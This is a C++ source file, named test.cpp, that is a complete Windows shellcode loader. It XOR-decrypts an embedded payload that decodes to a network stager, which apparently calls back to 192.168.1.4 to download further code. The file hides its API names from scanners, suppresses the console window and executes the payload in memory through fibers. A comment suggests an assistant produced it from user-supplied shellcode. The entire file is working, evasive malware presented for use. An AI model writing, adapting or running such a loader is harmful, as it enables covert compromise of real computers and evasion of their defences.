test.cpp

#include <windows.h>
#pragma comment(linker, "/SUBSYSTEM:WINDOWS /ENTRY:mainCRTStartup")
// --- GLOBAL SHELLCODE BUFFER ---
unsigned char encryptedShellcode[] = {
    // This is the shellcode you provided, encrypted with key 0x5A.
    0xa6, 0x12, 0xd9, 0xbe, 0xaa, 0xb2, 0x92, 0x5a, 0x5a, 0x5a, 0x1b, 0x0b, 0x1b, 0x0a, 0x08, 0x0b,
    0x0c, 0x12, 0x6b, 0x88, 0x3f, 0x12, 0xd1, 0x08, 0x3a, 0x12, 0xd1, 0x08, 0x42, 0x12, 0xd1, 0x08,
    0x7a, 0x12, 0xd1, 0x28, 0x0a, 0x12, 0x55, 0xed, 0x10, 0x10, 0x17, 0x6b, 0x93, 0x12, 0x6b, 0x9a,
    0xf6, 0x66, 0x3b, 0x26, 0x58, 0x76, 0x7a, 0x1b, 0x9b, 0x93, 0x57, 0x1b, 0x5b, 0x9b, 0xb8, 0xb7,
    0x08, 0x1b, 0x0b, 0x12, 0xd1, 0x08, 0x7a, 0xd1, 0x18, 0x66, 0x12, 0x5b, 0x8a, 0x3c, 0xdb, 0x22,
    0x42, 0x51, 0x58, 0x2f, 0x28, 0xd1, 0xda, 0xd2, 0x5a, 0x5a, 0x5a, 0x12, 0xdf, 0x9a, 0x2e, 0x3d,
    0x12, 0x5b, 0x8a, 0x0a, 0xd1, 0x12, 0x42, 0x1e, 0xd1, 0x1a, 0x7a, 0x13, 0x5b, 0x8a, 0xb9, 0x0c,
    0x12, 0xa5, 0x93, 0x1b, 0xd1, 0x6e, 0xd2, 0x12, 0x5b, 0x8c, 0x17, 0x6b, 0x93, 0x12, 0x6b, 0x9a,
    0xf6, 0x1b, 0x9b, 0x93, 0x57, 0x1b, 0x5b, 0x9b, 0x62, 0xba, 0x2f, 0xab, 0x16, 0x59, 0x16, 0x7e,
    0x52, 0x1f, 0x63, 0x8b, 0x2f, 0x82, 0x02, 0x1e, 0xd1, 0x1a, 0x7e, 0x13, 0x5b, 0x8a, 0x3c, 0x1b,
    0xd1, 0x56, 0x12, 0x1e, 0xd1, 0x1a, 0x46, 0x13, 0x5b, 0x8a, 0x1b, 0xd1, 0x5e, 0xd2, 0x12, 0x5b,
    0x8a, 0x1b, 0x02, 0x1b, 0x02, 0x04, 0x03, 0x00, 0x1b, 0x02, 0x1b, 0x03, 0x1b, 0x00, 0x12, 0xd9,
    0xb6, 0x7a, 0x1b, 0x08, 0xa5, 0xba, 0x02, 0x1b, 0x03, 0x00, 0x12, 0xd1, 0x48, 0xb3, 0x15, 0xa5,
    0xa5, 0xa5, 0x07, 0x30, 0x5a, 0x13, 0xe4, 0x2d, 0x33, 0x34, 0x33, 0x34, 0x3f, 0x2e, 0x5a, 0x1b,
    0x0c, 0x13, 0xd3, 0xbc, 0x16, 0xd3, 0xab, 0x1b, 0xe0, 0x16, 0x2d, 0x7c, 0x5d, 0xa5, 0x8f, 0x12,
    0x6b, 0x93, 0x12, 0x6b, 0x88, 0x17, 0x6b, 0x9a, 0x17, 0x6b, 0x93, 0x1b, 0x0a, 0x1b, 0x0a, 0x1b,
    0xe0, 0x60, 0x0c, 0x23, 0xfd, 0xa5, 0x8f, 0xb1, 0x29, 0x00, 0x12, 0xd3, 0x9b, 0x1b, 0xe2, 0x0a,
    0x5a, 0x5a, 0x5a, 0x17, 0x6b, 0x93, 0x1b, 0x0b, 0x1b, 0x0b, 0x30, 0x59, 0x1b, 0x0b, 0x1b, 0xe0,
    0x0d, 0xd3, 0xc5, 0x9c, 0xa5, 0x8f, 0xb1, 0x03, 0x01, 0x12, 0xd3, 0x9b, 0x12, 0x6b, 0x88, 0x13,
    0xd3, 0x82, 0x17, 0x6b, 0x93, 0x08, 0x32, 0x5a, 0x58, 0x1a, 0xde, 0x08, 0x08, 0x1b, 0xe0, 0xb1,
    0x0f, 0x74, 0x61, 0xa5, 0x8f, 0x12, 0xd3, 0x9c, 0x12, 0xd9, 0x99, 0x0a, 0x30, 0x50, 0x05, 0x12,
    0xd3, 0xab, 0x12, 0xd3, 0x80, 0x13, 0x9d, 0x9a, 0xa5, 0xa5, 0xa5, 0xa5, 0x17, 0x6b, 0x93, 0x08,
    0x08, 0x1b, 0xe0, 0x77, 0x5c, 0x42, 0x21, 0xa5, 0x8f, 0xdf, 0x9a, 0x55, 0xdf, 0xc7, 0x5b, 0x5a,
    0x5a, 0x12, 0xa5, 0x95, 0x55, 0xde, 0xd6, 0x5b, 0x5a, 0x5a, 0xb1, 0x89, 0xb3, 0xbe, 0x5b, 0x5a,
    0x5a, 0xb2, 0xf8, 0xa5, 0xa5, 0xa5, 0x75, 0x2f, 0x08, 0x0e, 0x18, 0x5a, 0x87, 0xe3, 0xa1, 0xa1,
    0x9a, 0xee, 0x20, 0x64, 0x5a, 0xae, 0x3b, 0xa9, 0xc6, 0x18, 0x81, 0x2a, 0xf2, 0x52, 0xf1, 0xc3,
    0xfa, 0x78, 0x70, 0xab, 0x03, 0xf4, 0x81, 0xdc, 0x5c, 0xf8, 0x8d, 0xdc, 0x15, 0x25, 0x14, 0xed,
    0x16, 0x03, 0x64, 0x00, 0x00, 0x07, 0xe1, 0x97, 0x7a, 0xaf, 0x8e, 0x84, 0x69, 0x94, 0x71, 0xb5,
    0xf9, 0x64, 0xcb, 0x9e, 0x46, 0xe2, 0xf5, 0x3b, 0x3f, 0x5d, 0x3d, 0xd8, 0x9e, 0x15, 0xff, 0x0c,
    0x86, 0x3f, 0x27, 0x23, 0x88, 0x5a, 0x0f, 0x29, 0x3f, 0x28, 0x77, 0x1b, 0x3d, 0x3f, 0x34, 0x2e,
    0x60, 0x7a, 0x17, 0x35, 0x20, 0x33, 0x36, 0x36, 0x3b, 0x75, 0x6f, 0x74, 0x6a, 0x7a, 0x72, 0x39,
    0x35, 0x37, 0x2a, 0x3b, 0x2e, 0x33, 0x38, 0x36, 0x3f, 0x61, 0x7a, 0x17, 0x09, 0x13, 0x1f, 0x7a,
    0x63, 0x74, 0x6a, 0x61, 0x7a, 0x0d, 0x33, 0x34, 0x3e, 0x35, 0x2d, 0x29, 0x7a, 0x14, 0x0e, 0x7a,
    0x6c, 0x74, 0x6b, 0x61, 0x7a, 0x0d, 0x15, 0x0d, 0x6c, 0x6e, 0x61, 0x7a, 0x0e, 0x28, 0x33, 0x3e,
    0x3f, 0x34, 0x2e, 0x75, 0x6f, 0x74, 0x6a, 0x61, 0x7a, 0x17, 0x1b, 0x09, 0x0a, 0x73, 0x57, 0x50,
    0x5a, 0xa4, 0x7a, 0x4d, 0x06, 0x44, 0x9b, 0x9e, 0x39, 0xae, 0xd9, 0x9f, 0x10, 0xcf, 0xb6, 0xb4,
    0xb1, 0x2d, 0x83, 0x4a, 0xb5, 0x8c, 0xf0, 0x66, 0xf4, 0x1b, 0xb9, 0xc4, 0x37, 0x1d, 0x25, 0x3a,
    0x87, 0x4f, 0x30, 0xf0, 0x17, 0xec, 0x67, 0x89, 0xf7, 0xc5, 0xe9, 0x46, 0x96, 0x09, 0x61, 0x59,
    0xee, 0xff, 0xab, 0x23, 0x31, 0x7e, 0xf9, 0xfc, 0xff, 0x43, 0x80, 0x9c, 0xeb, 0x72, 0x73, 0xc0,
    0xc3, 0x0c, 0xa6, 0x51, 0x3e, 0xf7, 0x88, 0x9b, 0x68, 0xd8, 0x70, 0xd6, 0x97, 0x01, 0x54, 0x5d,
    0xf4, 0x24, 0xec, 0x7d, 0x45, 0x38, 0x78, 0x0f, 0xe4, 0x42, 0xe0, 0x57, 0xda, 0x5e, 0x19, 0x48,
    0xc1, 0x2f, 0x68, 0x9b, 0xc3, 0xa0, 0x28, 0xcc, 0xe2, 0x89, 0xf3, 0x63, 0x55, 0xcb, 0x95, 0xd9,
    0xc0, 0xd9, 0x35, 0xf4, 0xe7, 0x14, 0x84, 0x81, 0x9a, 0x32, 0x58, 0xa6, 0xc2, 0x3f, 0x90, 0x82,
    0x9e, 0xf2, 0xa2, 0x41, 0xac, 0x79, 0xa7, 0xe9, 0x9a, 0x86, 0xf9, 0x96, 0x61, 0xd7, 0xf1, 0xe9,
    0xe7, 0x2b, 0x2d, 0x2c, 0x71, 0xc7, 0x2a, 0x80, 0x58, 0xb8, 0xf9, 0x77, 0x25, 0xee, 0x17, 0xe8,
    0xf5, 0x84, 0x12, 0xee, 0x7a, 0xcd, 0x54, 0xda, 0x11, 0xf2, 0x16, 0x1b, 0x75, 0xb8, 0x59, 0x32,
    0xb1, 0x86, 0x8a, 0x18, 0x43, 0x05, 0xfd, 0xa8, 0x29, 0xdc, 0x28, 0xf4, 0x35, 0x00, 0x17, 0x31,
    0x26, 0x5c, 0x8a, 0x0d, 0x55, 0x3d, 0xae, 0xae, 0xe8, 0xd6, 0xa2, 0x1e, 0x4f, 0x20, 0x1d, 0xd1,
    0x7e, 0x20, 0x40, 0xe7, 0x23, 0x5a, 0x1b, 0xe4, 0xaa, 0xef, 0xf8, 0x0c, 0xa5, 0x8f, 0x12, 0x6b,
    0x93, 0xe0, 0x5a, 0x5a, 0x1a, 0x5a, 0x1b, 0xe2, 0x5a, 0x4a, 0x5a, 0x5a, 0x1b, 0xe3, 0x1a, 0x5a,
    0x5a, 0x5a, 0x1b, 0xe0, 0x02, 0xfe, 0x09, 0xbf, 0xa5, 0x8f, 0x12, 0xc9, 0x09, 0x09, 0x12, 0xd3,
    0xbd, 0x12, 0xd3, 0xab, 0x12, 0xd3, 0x80, 0x1b, 0xe2, 0x5a, 0x7a, 0x5a, 0x5a, 0x13, 0xd3, 0xa3,
    0x1b, 0xe0, 0x48, 0xcc, 0xd3, 0xb8, 0xa5, 0x8f, 0x12, 0xd9, 0x9e, 0x7a, 0xdf, 0x9a, 0x2e, 0xec,
    0x3c, 0xd1, 0x5d, 0x12, 0x5b, 0x99, 0xdf, 0x9a, 0x2f, 0x8d, 0x02, 0x02, 0x02, 0x12, 0x5f, 0x5a,
    0x5a, 0x5a, 0x5a, 0x0a, 0x99, 0xb2, 0xc5, 0xa7, 0xa5, 0xa5, 0x6b, 0x63, 0x68, 0x74, 0x6b, 0x6c,
    0x62, 0x74, 0x6b, 0x74, 0x6e, 0x5a, 0x60, 0x84, 0x32, 0xeb
};

// --- Function Pointer Typedefs ---
typedef LPVOID(WINAPI* fnVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI* fnVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef LPVOID(WINAPI* fnConvertThreadToFiber)(LPVOID);
typedef LPVOID(WINAPI* fnCreateFiber)(SIZE_T, LPFIBER_START_ROUTINE, LPVOID);
typedef VOID(WINAPI* fnSwitchToFiber)(LPVOID);
typedef VOID(WINAPI* fnExitProcess)(UINT);

// --- Main Logic ---
VOID XorDecrypt(unsigned char* data_in, unsigned char* data_out, size_t size, unsigned char key) {
    for (size_t i = 0; i < size; i++) {
        data_out[i] = data_in[i] ^ key;
    }
}

VOID EntryPoint() {
    // Obfuscate strings on the stack
    char k32_str[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0 };
    char va_str[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
    char vp_str[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0 };
    char cttf_str[] = { 'C', 'o', 'n', 'v', 'e', 'r', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'T', 'o', 'F', 'i', 'b', 'e', 'r', 0 };
    char cf_str[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'b', 'e', 'r', 0 };
    char stf_str[] = { 'S', 'w', 'i', 't', 'c', 'h', 'T', 'o', 'F', 'i', 'b', 'e', 'r', 0 };
    char ep_str[] = { 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0 };

    // Get kernel32.dll module handle
    HMODULE hKernel32 = GetModuleHandleA(k32_str);
    if (!hKernel32) return;

    // Dynamically load function pointers
    fnVirtualAlloc pVirtualAlloc = (fnVirtualAlloc)GetProcAddress(hKernel32, va_str);
    fnVirtualProtect pVirtualProtect = (fnVirtualProtect)GetProcAddress(hKernel32, vp_str);
    fnConvertThreadToFiber pConvertThreadToFiber = (fnConvertThreadToFiber)GetProcAddress(hKernel32, cttf_str);
    fnCreateFiber pCreateFiber = (fnCreateFiber)GetProcAddress(hKernel32, cf_str);
    fnSwitchToFiber pSwitchToFiber = (fnSwitchToFiber)GetProcAddress(hKernel32, stf_str);
    fnExitProcess pExitProcess = (fnExitProcess)GetProcAddress(hKernel32, ep_str);

    if (!pVirtualAlloc || !pVirtualProtect || !pConvertThreadToFiber || !pCreateFiber || !pSwitchToFiber || !pExitProcess) {
        return;
    }

    // Allocate memory for the decrypted shellcode
    LPVOID pShellcodeAddress = pVirtualAlloc(NULL, sizeof(encryptedShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        pExitProcess(1);
    }

    // Decrypt the shellcode with the hardcoded key
    XorDecrypt(encryptedShellcode, (unsigned char*)pShellcodeAddress, sizeof(encryptedShellcode), 0x5A);

    // Change memory protection to be executable
    DWORD dwOldProtection = 0;
    if (!pVirtualProtect(pShellcodeAddress, sizeof(encryptedShellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        pExitProcess(2);
    }

    // Execute shellcode via Fibers
    LPVOID pPrimaryFiber = pConvertThreadToFiber(NULL);
    if (!pPrimaryFiber) {
        pExitProcess(3);
    }

    LPVOID pShellcodeFiber = pCreateFiber(0, (LPFIBER_START_ROUTINE)pShellcodeAddress, NULL);
    if (!pShellcodeFiber) {
        pExitProcess(4);
    }

    pSwitchToFiber(pShellcodeFiber);

    pExitProcess(0);
}